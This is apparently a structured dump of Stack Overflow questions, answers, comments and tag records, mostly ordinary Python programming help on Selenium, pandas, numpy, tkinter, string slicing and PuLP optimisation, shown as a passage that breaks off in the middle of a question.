answers question: http://stackoverflow.com/q/46939451
type: Answer
has body: I've found a workaround for the problem. Apparently, the click() function blocks the code until the page is "completely" loaded. However, for some reason, the page keeps loading forever (without anything else to load) and it holds my code till it reaches the timeout limit. Instead of using click, I've changed it to key ENTER and the page still keeps loading forever but it doesn't hold the code anymore. #FROM CLICK driver.find_element_by_id('ctl00_ctl00_Conteudo_AntesTabela_btnExibir').click() #TO SENDING ENTER (ue007) driver.find_element_by_id('ctl00_ctl00_Conteudo_AntesTabela_btnExibir').send_keys(u'\ue007')

http://stackoverflow.com/a/47022156
score: 2
has comment: http://stackoverflow.com/comment/81000115
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47018832
answers question: http://stackoverflow.com/q/47018832
has body: Here is the API doc: https://developer.twitter.com/en/docs/tweets/filter-realtime/api-reference/post-statuses-filter.html statuses/filter uses POST, not GET. For tweets around NYC use "locations=-74,40,-73,41". (You will need to expand this bounding box to make it 10 miles around NYC.) However, when used with track the two filters are OR'ed. In other words, you will get tweets that match either your locations filter or your track filter. You wont get only the tweets that match both filters. EDIT url = "https://stream.twitter.com/1.1/statuses/filter.json?track=money&amp;locations=-74,40,-73,41" parameters = [] response = twitterreq(url, "POST", parameters)
has comment: http://stackoverflow.com/comment/80995564
has comment: http://stackoverflow.com/comment/80997228
type: Answer

turtle-graphics
tags question: http://stackoverflow.com/q/47047834
tags question: http://stackoverflow.com/q/47044136
tags question: http://stackoverflow.com/q/46920152
tag name: turtle-graphics
type: Tag

http://stackoverflow.com/comment/81003514
has text: Hi@KlausD. @trueCamelType I update the question at the bottom.
comment on: http://stackoverflow.com/q/47028073
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46957495
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46952574
score: 1
accepted answer of: http://stackoverflow.com/q/46952574
type: Answer
has body: Regex isn't necessary here. All you need is good ol' indexing. Python strings have index and rindex methods that take a substring, finds it in the text, and returns the index of the first character in the substring. Reading this doc should get you familiar with slicing strings. The program could look something like this: with open(input_file) as f: s = f.read() # reads the file as one big string last_block = s[s.rindex('Input'):s.rindex('Distance')] The last line of that code finds the first occurrence of 'Input' starting from the end of the file, since we used rindex, and moving towards the front and marks that position as an integer. It then does the same with 'Distance'. It then uses those integers to return only the portion of the string that rests between them. in the case of your example file it would return: Input orientation: --------------------------------------------------------------------- Center Atomic Atomic Coordinates (Angstroms) Number Number Type X Y Z --------------------------------------------------------------------- 1 6 0 Correct Correct Correct 2 1 0 Correct Correct Correct 3 1 0 Correct Correct Correct 4 1 0 Correct Correct Correct 5 17 0 Correct Correct Correct 6 9 0 Correct Correct Correct --------------------------------------------------------------------- If you don't want the 'Input orientation' header, you can simply add to the result of rindex('Input') until you get the desired result. That could look like s[s.rindex('Input') + 19:s.rindex('Distance')], for instance. It is also important to note that index and rindex throw errors if the substring is not found. If that is not desired, you can use find and rfind.

http://stackoverflow.com/comment/83407960
has text: Thanks @IanGoldby! That looks like a good solution. Haven't gotten it to work for my scenario but am definitely trying it out.
score: 0
comment on: http://stackoverflow.com/q/46969861
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46911984
downvote count: 0
has comment: http://stackoverflow.com/comment/80772203
has title: Optimizing portfolio for sharpe ratio using python scipy's optimize.minimize
tagged with: scipy
tagged with: minimization
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80805818
tagged with: python
has body: I am trying to optimize a portfolio for sharpe ratio and following is my code import pandas as pd import os import matplotlib.pyplot as plt import numpy as np import scipy.optimize as spo def get_path(sym, base_dir = "data"): cwd = os.getcwd() path = os.path.join(cwd, base_dir, sym) return path def prepare_data(files, dates): """Read stock data (adjusted close) for given symbols from CSV files.""" dfstocks = pd.DataFrame(index=dates) if 'NIFTY.csv' not in files: files.insert(0, 'NIFTY.csv') for f in files: # TODO: Read and join data for each symbol files_path = get_path(f) df_temp = pd.read_csv(files_path, index_col = "Date", parse_dates = True, usecols = ['Date', 'Close Price']) df_temp = df_temp.rename(columns = {'Close Price' : f}) dfstocks = dfstocks.join(df_temp, how = 'inner') return dfstocks def write_data(data, outfile): base_dir = "data" cwd = os.getcwd() path = os.path.join(cwd, base_dir, outfile) data.to_csv(path) def get_data(filename): base_dir = "data" cwd = os.getcwd() path = os.path.join(cwd, base_dir, filename) dfstocks = pd.read_csv(path, index_col = "Unnamed: 0") del dfstocks['NIFTY.csv'] return dfstocks def portfolio_analysis(data, alloc, init_cap, risk_free_annual): data_norm = data.divide(data.iloc[0]) data_alloc = data_norm * alloc data_position = data_alloc * init_cap portfolio_value = data_position.sum(axis = 1) daily_returns = portfolio_value - portfolio_value[0] daily_returns = daily_returns[1:] risk_free_daily = np.power((risk_free_annual + 1), 1.0/252) - 1 cum_return = (portfolio_value[-1]/portfolio_value[0]) - 1 avg_day_return = daily_returns.mean() std_day_return = daily_returns.std() sharpe_ratio = (daily_returns - risk_free_daily).mean()/std_day_return annualized_sharpe_ratio = np.power(252, 0.5) * sharpe_ratio return (annualized_sharpe_ratio * -1) def sharpe(alloc, data): risk_free_annual_return = 0.08 initial_capital = 307267 return portfolio_analysis(data, alloc, initial_capital, risk_free_annual_return) def analyze(): files = ["N…
tagged with: optimization
has comment: http://stackoverflow.com/comment/80806812
has comment: http://stackoverflow.com/comment/80800428
tagged with: numpy
has comment: http://stackoverflow.com/comment/80806715
has comment: http://stackoverflow.com/comment/80808418
answer count: 0
score: 2
upvote count: 2

http://stackoverflow.com/a/46918983
answers question: http://stackoverflow.com/q/46918544
type: AcceptedAnswer
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/80831453
accepted answer of: http://stackoverflow.com/q/46918544
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80831558
has body: This seems like a bad idea usability-wise, but the implementation is pretty simple. You don't have to use event_delete or event_add, you just need to bind to the &lt;&lt;Paste&gt;&gt; event. If you bind to the special catch-all "all", you only have to do a single binding that will work no matter which widget has the focus, though you could instead bind only to the entry widgets if you want. The important thing is to have your function return the string "break" which prevents any other event handler from handling the paste event. Here's a contrived example: import tkinter as tk root = tk.Tk() text = tk.Text(height=6) text.pack(side="top", fill="x") for i in range(10): text.insert("end", "this is line #%d\n" % i) entrys = [] for i in range(10): entry = tk.Entry(root) entry.pack(side="top", fill="x") entrys.append(entry) def handle_clipboard(event): for entry in entrys: entry.delete(0, "end") lines = root.clipboard_get().split("\n") for entry, line in zip(entrys, lines): entry.insert(0, line) return "break" root.bind_all("&lt;&lt;Paste&gt;&gt;", handle_clipboard) root.mainloop()

http://stackoverflow.com/comment/80794433
type: QuestionComment
score: 0
has text: Try `lst = a.items()`
comment on: http://stackoverflow.com/q/46923701
type: Comment

http://stackoverflow.com/a/46944675
type: Answer
has body: With Python 3 import json with open('cred.json') as f: lines_read = f.readlines() json_str = ''.join(lines_read) json_dict = json.loads(json_str) for account in json_dict['accounts']: user = account['username'] password = account['password'] print(user, ':', password) The basic idea is to use python's iterators.
score: 0
answers question: http://stackoverflow.com/q/46944582

http://stackoverflow.com/q/47045220
has answer: http://stackoverflow.com/a/47045278
has comment: http://stackoverflow.com/comment/81063340
has answer: http://stackoverflow.com/a/53165672
has comment: http://stackoverflow.com/comment/81047418
has body: I have two lists: a = [0, 0, 0, 1, 1, 1, 1, 1, .... 99999] b = [24, 53, 88, 32, 45, 24, 88, 53, ...... 1] I want to merge those two lists into a dictionary like: { 0: [24, 53, 88], 1: [32, 45, 24, 88, 53], ...... 99999: [1] } A solution might be using for loop, which does not look good and elegant, like: d = {} unique_a = list(set(list_a)) for i in range(len(list_a)): if list_a[i] in d.keys: d[list_a[i]].append(list_b[i]) else: d[list_a] = [list_b[i]] Though this does work, it’s an inefficient and would take too much time when the list is extremely large. I want to know more elegant ways to construct such a dictionary? Thanks in advance!
accepted answer: http://stackoverflow.com/a/47045241
tagged with: python
has comment: http://stackoverflow.com/comment/81089516
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81072046
has answer: http://stackoverflow.com/a/47045241
possible better answer: http://stackoverflow.com/a/47045278
type: AnsweredQuestion
upvote count: 19
tagged with: list
has answer: http://stackoverflow.com/a/47045454
has title: How to merge two lists into dictionary without using nested for loop
downvote count: 0
answer count: 7
has answer: http://stackoverflow.com/a/47045711
score: 19
favorite count: 0
has answer: http://stackoverflow.com/a/47055899
has comment: http://stackoverflow.com/comment/81050428
has answer: http://stackoverflow.com/a/47045271
type: Question

http://stackoverflow.com/a/47001243
has comment: http://stackoverflow.com/comment/80949580
has comment: http://stackoverflow.com/comment/80948969
answers question: http://stackoverflow.com/q/47001157
has comment: http://stackoverflow.com/comment/80949163
has comment: http://stackoverflow.com/comment/80949063
has comment: http://stackoverflow.com/comment/80949623
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/80949076
has comment: http://stackoverflow.com/comment/80949690
has comment: http://stackoverflow.com/comment/80949077
has comment: http://stackoverflow.com/comment/80949129
has comment: http://stackoverflow.com/comment/80949113
has comment: http://stackoverflow.com/comment/80987522
has comment: http://stackoverflow.com/comment/80949648
downvote count: 0
has body: It is just the representation of data for the sake of better look. MultiIndex contains all values in first level, nothing there is missing. EDIT: I think there is some problem with data, because previous answer working really nice. Another simplier solution with join: print (df1) Col1 Col2 0 A PY 1 B PA 2 C PB 3 B PB print (df2) Value Col1 Col2 A PY 20 PB 30 B PY 10 PB 50 df = df1.join(df2, on=['Col1','Col2']) print (df) Col1 Col2 Value 0 A PY 20.0 1 B PA NaN 2 C PB NaN 3 B PB 50.0 EDIT: For convert Series to one column DataFrame use to_frame function: df2 = ser.to_frame('Value')
accepted answer of: http://stackoverflow.com/q/47001157
score: 1
upvote count: 1

http://stackoverflow.com/comment/86000975
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46915354
has text: https://github.com/tensorflow/tensorflow/issues/1736

http://stackoverflow.com/comment/80909998
type: QuestionComment
has text: Hmm. Deleting `await` will get rid of the Syntax Error, but I expect it was there for a reason in the first place. It is likely that the function will not behave correctly down the line. The real solution is to upgrade to a version of Python that supports `await`.
comment on: http://stackoverflow.com/q/46981016
score: 1
type: Comment

http://stackoverflow.com/a/46947618
score: 3
accepted answer of: http://stackoverflow.com/q/46947520
has comment: http://stackoverflow.com/comment/80843727
type: Answer
has comment: http://stackoverflow.com/comment/80842629
has body: In your first iteration, i is equal to 0. range(0) is empty, so that for loop doesn't run, and your pascal list is immediately appended to without running the for loop in j.
upvote count: 3
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46947520

http://stackoverflow.com/comment/80877274
score: 0
type: AnswerComment
has text: @JGee you can always filter later. Honestly, I don't know why you would want that.
type: Comment
comment on: http://stackoverflow.com/a/46964705

http://stackoverflow.com/comment/81072355
score: 0
has text: user8786892: Oops, I introduced a bug in `is_sorted()` when I was trying to optimize it. Fixed.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47060592

http://stackoverflow.com/q/46996801
tagged with: loops
has answer: http://stackoverflow.com/a/46997018
possible better answer: http://stackoverflow.com/a/46996851
type: Question
accepted answer: http://stackoverflow.com/a/46996850
has answer: http://stackoverflow.com/a/46996851
has title: How to trigger inner loop based on certain condition (Python)
has answer: http://stackoverflow.com/a/46996850
tagged with: python
has answer: http://stackoverflow.com/a/46996865
answer count: 4
type: AnsweredQuestion
has body: I'm new to Python, and to programming in general. I've been writing a temperature converter as a way to practice some concepts I've learned. What I wrote so far works ok overall, but I've hit a brick wall on a specific objective I'm trying to achieve: When the user makes an acceptable first choice (either "F to C" or "C to F", as opposed to anything else), they then get the next question, which is the temperature they want to convert. Here also I have made sure that the program does not give an error message and stop when the person enters anything other than an integer or a float, but if and when that happens, I don't want the program to loop all the way to the beginning, but only to the beginning of that particular branch of the decision tree. In other words, when someone says they want to convert a fahrenheit value to a celsius but then type "jambalaya" instead of "78", I want the program to ask them to "enter a value" again within the same "fahrenheit to celsius" selection branch, as opposed to asking them whether they want to convert F to C or C to F, which is what the program is currently doing. (Just a quick note: I DO want the program to keep asking whether the person wants to convert from F to C or C to F, IF the person has successfully obtained a converted value.) Here is the code I have written: def temperature(): while True: selection = input ('Choose your conversion ("F to C" or "C to F"): ') if selection == 'F to C': num = input ('Enter a temperature in °F: ') try: float(num) r = round(float(num)) s = (r-32)*(5/9) print (r,'°F is ',round(s),'°C') if s &gt; 30: print ('A little hot out there!') elif s &lt; 5: print ('Make sure to wear a jacket!') else: print ('Have a nice day!') except: print ('Please enter only numbers') elif selection == 'C to F': num = input ('Enter a temperature in °C: ') try: float(num) r = round(float(num)) s = (r*9/5)+32 print (r,'°C is ',round(s),'°F') if s &gt; 86: print ('A little hot out there!') elif s &lt; 41: print ('Make …
score: 0
tagged with: while-loop

http://stackoverflow.com/q/46959287
has answer: http://stackoverflow.com/a/46959861
score: 3
tagged with: python
has title: Comparing numpy arrays with individual values
tagged with: numpy
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46959572
has body: I have a numpy-array "target_tokes" with many values. I try to receive a numpy_array of the same shape, with 1. at a position where in the target_tokens array I had a specific value (i.e. a nine or a two). This works (for the nine): i_factor = (target_tokens == 9).astype(np.float32) Result: [[ 0. 0. 0. 0.] [ 0. 0. 0. 0.] [ 0. 0. 1. 0.] [ 0. 0. 0. 0.] [ 0. 0. 0. 0.]... This does not work: group = [2, 9] i_factor = (target_tokens in group).astype(np.float32) Result is: i_factor = (target_tokens in group).astype(np.float32) ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() Why is that and how can I still achieve my result without having big loops (the group is bigger in reality than just two values). Thx
answer count: 3
upvote count: 3
accepted answer: http://stackoverflow.com/a/46959878
downvote count: 0
has answer: http://stackoverflow.com/a/46959878
possible better answer: http://stackoverflow.com/a/46959572
linked to: http://stackoverflow.com/q/18320624
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80865993

http://stackoverflow.com/comment/81001517
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47016228
has text: The issue isn't so much that pyparsing is broken, as that its API is not the same as re. In `re.match`, a failure to match just returns None. In pyparsing, a failure to match raises a ParseException. If you change your implementation of `get_square_feet` to catch that exception using Python `try..except`, and in the event of an exception to return None, then that should give you what you want for handling the error case.
score: 1

http://stackoverflow.com/comment/80774914
has text: It should be `str(file)`, not `str(1)`.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46913832

http://stackoverflow.com/q/47060586
has body: In Sublime I can do ctrl+r to bring up a list of methods/functions and classes in the current file and then navigate directly to that function. Which has been unbelievably handy in browsing and navigating unfamiliar files. In PyCharm I am having a hard time finding what that equivalent option is. I can't find anything in the key mapping that looks similar and searching the python documentation keeps directing me to the 'Navigating to class, file or symbol' which generally is unhelpful as it finds everything outside the open file first, can't list what's in the file, and most notably - can't find single functions. I'm sure it's something stupid, but google searches haven't been helpful. (https://www.jetbrains.com/help/pycharm/navigating-to-class-file-or-symbol-by-name.html)
has comment: http://stackoverflow.com/comment/81069098
type: Question
tagged with: python
tagged with: pycharm
accepted answer: http://stackoverflow.com/a/47060712
type: AnsweredQuestion
score: 0
has title: PyCharm Nagivate to Function
has answer: http://stackoverflow.com/a/47060712
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81068786

http://stackoverflow.com/q/46995217
has comment: http://stackoverflow.com/comment/80941745
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46997907
tagged with: pandas
has comment: http://stackoverflow.com/comment/80936991
has comment: http://stackoverflow.com/comment/80942131
score: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/46995596
type: Question
has comment: http://stackoverflow.com/comment/80937155
answer count: 2
has answer: http://stackoverflow.com/a/46995596
downvote count: 0
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/46888976
accepted answer: http://stackoverflow.com/a/46997907
has title: Append a new column on a dataframe based on other dataframe with matching rows and fill the non-matching ones with value from the existing column
has body: I have a data frame look like df1 UserID group day sp PU 213 test 12/11/14 3 311 314 control 13/11/14 4 345 354 test 13/08/14 5 376 and second data frame df2, it has information about the values in df1 column UserID, the matching rows in df2 and df1 are test-red and others should be itself. df2 UserID 213 And what I am aiming is to append a new column group2 to df1 derived from the group column in df1 using matching values from df2 as well as the values already there in df1 as following,. For instance here UserId 213 is matching in df1 and df2 so it should be added in the newly appended column 'group2' as test-Red and otherwise it should as it is from group column. df1 UserID group day sp PU group2 213 test 12/11/14 3 311 test-Red 314 control 13/11/14 4 345 control 354 test 13/08/14 5 376 test-NonRed This is what I tried, def converters(df2,df1): if df1['UserId']==df2['UserId']: val="test-Red" elif df1['group']== "test": val="test-NonRed" else: val="control" return val But it throws error as following, ValueError: Series lengths must match to compare

http://stackoverflow.com/comment/80845372
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/46947798
type: Comment
has text: ok... got it... I guess that already.., just hope to find another way, thanks your response!

http://stackoverflow.com/a/46970925
type: Answer
has body: import random s = 'operand1 &gt; 273 and operand2 &lt; 459 or operand3 == 42 and operand4 &lt; 100' operators = ['&lt;', '&gt;', '==', '!='] print(" ".join([random.choice(operators) if x in operators else x for x in s.split()])) Edit 1. Well the assumption I made that the OP wanted all the operators replaced was wrong. s.split() makes a list out of the string words, excludes spaces. A list is created from the original string with an operator chosen at random to replace any given operator in it. " ".join turns the list to a new string including spaces in between the lists elements. Edit 2. I came back to it during my coffee break. This changes one operator. import random s = 'operand1 &gt; 273 and operand2 &lt; 459 or operand3 == 42 and operand4 &lt; 100' print(s) operators = ['&lt;', '&gt;', '==', '!='] # make a list out of the string words s_split = s.split() # make a list of tuples (position, operator) form the list containg the string words occurances = [(idx, x) for idx, x in enumerate(s_split) if x in operators] # pick a random operator form the list to change occurance_to_change = random.choice(occurances) # pick a random operator to replace the one in the sentence and make sure they are different operator_to_place = random.choice(operators) while operator_to_place == occurance_to_change[1]: operator_to_place = random.choice(operators) # replace the operator s_split[occurance_to_change[0]] = operator_to_place # put the resulting list back together to form a string s_result = " ".join(s_split) print(s_result)
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/46970394

beautifulsoup
tags question: http://stackoverflow.com/q/47004520
tags question: http://stackoverflow.com/q/47024877
tags question: http://stackoverflow.com/q/46982325
tags question: http://stackoverflow.com/q/46943834
tags question: http://stackoverflow.com/q/47014927
tags question: http://stackoverflow.com/q/46938207
tags question: http://stackoverflow.com/q/47003758
type: Tag
tags question: http://stackoverflow.com/q/46942778
tags question: http://stackoverflow.com/q/47020775
tags question: http://stackoverflow.com/q/47025302
tags question: http://stackoverflow.com/q/47027652
tags question: http://stackoverflow.com/q/46961171
tags question: http://stackoverflow.com/q/46939222
tags question: http://stackoverflow.com/q/46976675
tags question: http://stackoverflow.com/q/46958166
tag name: beautifulsoup
tags question: http://stackoverflow.com/q/46916585
tags question: http://stackoverflow.com/q/47005212
tags question: http://stackoverflow.com/q/47047316
tags question: http://stackoverflow.com/q/46924583
tags question: http://stackoverflow.com/q/46913993
tags question: http://stackoverflow.com/q/46997325
tags question: http://stackoverflow.com/q/46933679
tags question: http://stackoverflow.com/q/47034189
tags question: http://stackoverflow.com/q/46957927
tags question: http://stackoverflow.com/q/46967924
tags question: http://stackoverflow.com/q/46971448
tags question: http://stackoverflow.com/q/46994688
tags question: http://stackoverflow.com/q/47021611
tags question: http://stackoverflow.com/q/46957078
tags question: http://stackoverflow.com/q/46988602
tags question: http://stackoverflow.com/q/47035104
tags question: http://stackoverflow.com/q/46955215
tags question: http://stackoverflow.com/q/46910048
tags question: http://stackoverflow.com/q/47036274
tags question: http://stackoverflow.com/q/46946838
tags question: http://stackoverflow.com/q/46943648
tags question: http://stackoverflow.com/q/46985645
tags question: http://stackoverflow.com/q/46924211
tags question: http://stackoverflow.com/q/47021960
tags question: http://stackoverflow.com/q/47019400
tags question: http://stackoverflow.com/q/47030271
tags question: http://stackoverflow.com/q/47054962
tags question: http://stackoverflow.com/q/46913406
tags question: http://stackoverflow.com/q/46938360
tags question: http://stackoverflow.com/q/46913820
tags question: http://stackoverflow.com/q/46911895
tags question: http://stackoverflow.com/q/47039874
tags question: http://stackoverflow.com/q/46960499
tags question: http://stackoverflow.com/q/46920734
tags question: http://stackoverflow.com/q/46987241

http://stackoverflow.com/q/46961283
has body: am new to python and I wanted to understand something. how does this work: (a,b) = (1,2) because I thought this assigns 1 to a and 2 to b . but when I tryed running euclid's algorithm something different happened and i didnt understand why. def gcd(n,m): while(m&gt;0): (n,m) = (m , n % m) return n print(gcd(45,126)) how is that ^ different from this: def gcd(n,m): while(m&gt;0): n = m m = n % m return n print(gcd(45,126))
linked to: http://stackoverflow.com/q/21047524
answer count: 0
tagged with: algorithm
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80870049
duplicate of: http://stackoverflow.com/q/21047524
has comment: http://stackoverflow.com/comment/80870225
score: 0
has comment: http://stackoverflow.com/comment/80870040
has title: Python euclid's algorithm trying to understand
type: Question

http://stackoverflow.com/comment/80953384
type: QuestionComment
has text: @glibdud what do you mean by a `"minimal number"`?
comment on: http://stackoverflow.com/q/47003398
type: Comment
score: 0

http://stackoverflow.com/comment/104920800
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46913392
score: 0
has text: You need to add -B arg to celery start command

http://stackoverflow.com/q/47013859
type: UnansweredQuestion
has body: I wrote a program in Python 3.6.2 (32 bit), I converted it to an .exe file using cx_freeze. When I run it in Windows 8 (64 bit), it needs the below DLLs inside the project: api-ms-win-crt-runtime-l1-1-0.dll api-ms-win-crt-time-l1-1-0.dll api-ms-win-crt-string-l1-1-0.dll api-ms-win-crt-stdio-l1-1-0.dll api-ms-win-crt-process-l1-1-0.dll api-ms-win-crt-math-l1-1-0.dll api-ms-win-crt-locale-l1-1-0.dll api-ms-win-crt-heap-l1-1-0.dll api-ms-win-crt-environment-l1-1-0.dll api-ms-win-crt-convert-l1-1-0.dll api-ms-win-crt-conio-l1-1-0.dll when I add api-ms-win-crt-filesystem-l1-1-0.dll and run the project, I get the error: The procedure entry point terminate could not be located in dynamic link library. C:\users\seyed_vahid\Desktop\exe.win32-3.6\MegaGram.exe How to fix it?
has answer: http://stackoverflow.com/a/48404835
tagged with: python
linked to: http://stackoverflow.com/q/34218333
has title: The procedure entry point terminate could not be located in dynamic link library
upvote count: 3
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: cx-freeze
tagged with: python-3.x
score: 3

http://stackoverflow.com/q/47038476
has comment: http://stackoverflow.com/comment/81023547
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81028207
tagged with: python
has comment: http://stackoverflow.com/comment/81023539
has title: Take input and use it as range for slicing a string
score: 0
has comment: http://stackoverflow.com/comment/81023681
has comment: http://stackoverflow.com/comment/81023808
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/47038650
has body: What I am trying to do is take 's' as string input and q as integer input. 'x' is a list. s ='abcd' q = 2 input for x: 0 2 1 3 desired output: abc bcd Code: s=input() q=int(input()) x=list() for i in range(q): x.append(list(map(int,input().split()))) for i,v in enumerate(x): for j,z in enumerate(v): print(s[v[i]:v[i+1]]) Issue: My output throws error: index out of range ab ab Traceback (most recent call last): File "/home/yash/py/substring.py", line 12, in &lt;module&gt; print(s[v[i]:v[i+1]]) IndexError: list index out of range:
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/q/47005061
tagged with: vectorization
type: Question
tagged with: performance
tagged with: pyglet
has comment: http://stackoverflow.com/comment/80960466
has title: How to speed up the initialisation of many spatially arranged "tiles"?
has comment: http://stackoverflow.com/comment/80960044
has comment: http://stackoverflow.com/comment/80960295
tagged with: python
has body: I am using pyglets vertex_lists and batches to draw many squares all in a grid (not important). However I am finding that initialising all of the squares (which are Tile instances) takes a very long time using this double for loop method. I am not sure if this is overhead due to class instancing or due to doing it in a nested for loop. I am not sure how to determine that through profiling which is why I am asking here. Once everything is initialised it works flawlessly with no performance issues (aside from the cocos actions not working but that is another problem). I was looking into vectorisation but I wasn't sure if that would help here. class Tile(layer.Layer): def __init__(self, batch, x, y, r, g, b, a = 255, width = 32, height = 32): super().__init__() self.vertex_list = batch.add(4, gl.GL_QUADS, None, ('v2i\static', (x, y, x+width, y, x+width, y+height, x, y+height)), ('c4B', (r, g, b, a, r, g, b, a, r, g, b, a, r, g, b, a))) class Map(layer.ScrollableLayer): """The representation of the boards map area. Contains all tiles.""" def __init__(self, width, height, cell_width = 32, cell_height = 32): super().__init__() batch = graphics.Batch() for x in range(width): for y in range(height): col = (random.randrange(255), random.randrange(255), random.randrange(255), 255) cell = Cell(tile_batch, x*cell_width, y*cell_height, *col, cell_width, cell_height) self.batch = batch If I wanted to create a map with a width and height of 1000x1000 it takes over a minute to do but once done has no issues keeping up.
score: 0
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80960135

http://stackoverflow.com/comment/80804432
comment on: http://stackoverflow.com/q/46928683
type: Comment
type: QuestionComment
score: 0
has text: @cᴏʟᴅsᴘᴇᴇᴅ surprisingly, 10 :) I though I I had actually less, but counted them after you asked :)

http://stackoverflow.com/q/47012837
has title: Python non-linear slicing
possible better answer: http://stackoverflow.com/a/47012908
answer count: 5
tagged with: python
has answer: http://stackoverflow.com/a/47013215
tagged with: slice
has body: Given a list a, I can slice it by doing: a[start:end:step] However this is only linear slicing. For instance, I would like to select the indexes that are powers of 2. Unfortunately this does not work: a[slice(2**x for x in range(len(a))] Is there a way to avoid loops when non-linear slicing is required? EDIT: mainly I need this to modify the list. E.g. a[*non-linear-slicing*] = [*list-with-new-values*]
accepted answer: http://stackoverflow.com/a/47017999
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47017999
upvote count: 2
has answer: http://stackoverflow.com/a/47012908
downvote count: 0
has answer: http://stackoverflow.com/a/47013283
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80972342
has answer: http://stackoverflow.com/a/47013835

http://stackoverflow.com/q/46979400
has title: How can I split a PDF by file size
has comment: http://stackoverflow.com/comment/80957248
tagged with: http://stackoverflow.com/tag/pdf
has answer: http://stackoverflow.com/a/75573643
answer count: 1
has comment: http://stackoverflow.com/comment/80909943
favorite count: 0
type: Question
tagged with: split
tagged with: pypdf
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python
has body: I need to split a PDF file into multiple PDFs which are smaller than 10 MB. I already managed to split the file into pages, but could not divide by the size of the destination file. I did split the PDF into pages using the pypdf library: from pypdf import PdfWriter, PdfReader reader = PdfReader("example.pdf") for i, page in enumerate(reader.pages): writer = PdfWriter() writer.add_page(page) with open(f"document-page{i}.pdf", "wb") as fp: writer.write(fp)
score: 2

http://stackoverflow.com/a/46922746
has comment: http://stackoverflow.com/comment/80792842
accepted answer of: http://stackoverflow.com/q/46922669
type: AcceptedAnswer
has body: Would doing a try except pass during each iteration work? Im not sure what query issues you are facing, could you elaborate? try: except: pass
answers question: http://stackoverflow.com/q/46922669
has comment: http://stackoverflow.com/comment/80792896
type: Answer
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/80874600
type: AnswerComment
comment on: http://stackoverflow.com/a/46963342
has text: how i can fix ? what i need to replace in actual json code ?
type: Comment
score: 0

http://stackoverflow.com/comment/80864663
comment on: http://stackoverflow.com/a/46957144
score: 0
type: AnswerComment
has text: Perfect - Exactly what I was looking for, didn't know there was an in-built method for getting all the subclasses of a Base class. Thanks for your help!
type: Comment

http://stackoverflow.com/q/47060970
has body: I am trying to use PuLP to optimize a system, minimizing the cost of it. I am using multiple If's and the problem is that it always meets the first condition. Here is my code. I hope someone can help me, as I am just starting to learn about this language. import numpy as np import pandas as pd from pulp import * idx = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23] d = { 'day': pd.Series(['01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14'], index=idx), 'hour':pd.Series(['00:00:00', '01:00:00', '02:00:00', '03:00:00', '04:00:00', '05:00:00', '06:00:00', '07:00:00', '08:00:00', '09:00:00', '10:00:00', '11:00:00', '12:00:00', '13:00:00', '14:00:00', '15:00:00', '16:00:00', '17:00:00', '18:00:00', '19:00:00', '20:00:00', '21:00:00', '22:00:00', '23:00:00'], index=idx), 'output':pd.Series([0,0,0,0.087,0.309,0.552,0.682,0.757,0.783,0.771,0.715,0.616,0.466,0.255,0.022,0,0,0,0,0,0,0,0,0], index=idx)} cfPV = pd.DataFrame(d) idx = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23] d1 = { 'day': pd.Series(['01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14'], index=idx), 'hour':pd.Series(['00:00:00', '01:00:00', '02:00:00', '03:00:00', '04:00:00', '05:00:00', '06:00:00', '07:00:00', '08:00:00', '09:00:00', '10:00:00', '11:00:00', '12:00:00', '13:00:00', '14:00:00', '15:00:00', '16:00:00', '17:00:00', '18:00:00', '19:00:00', '20:00:00', '21:00:00', '22:00:00', '23:00:00'], index=idx), 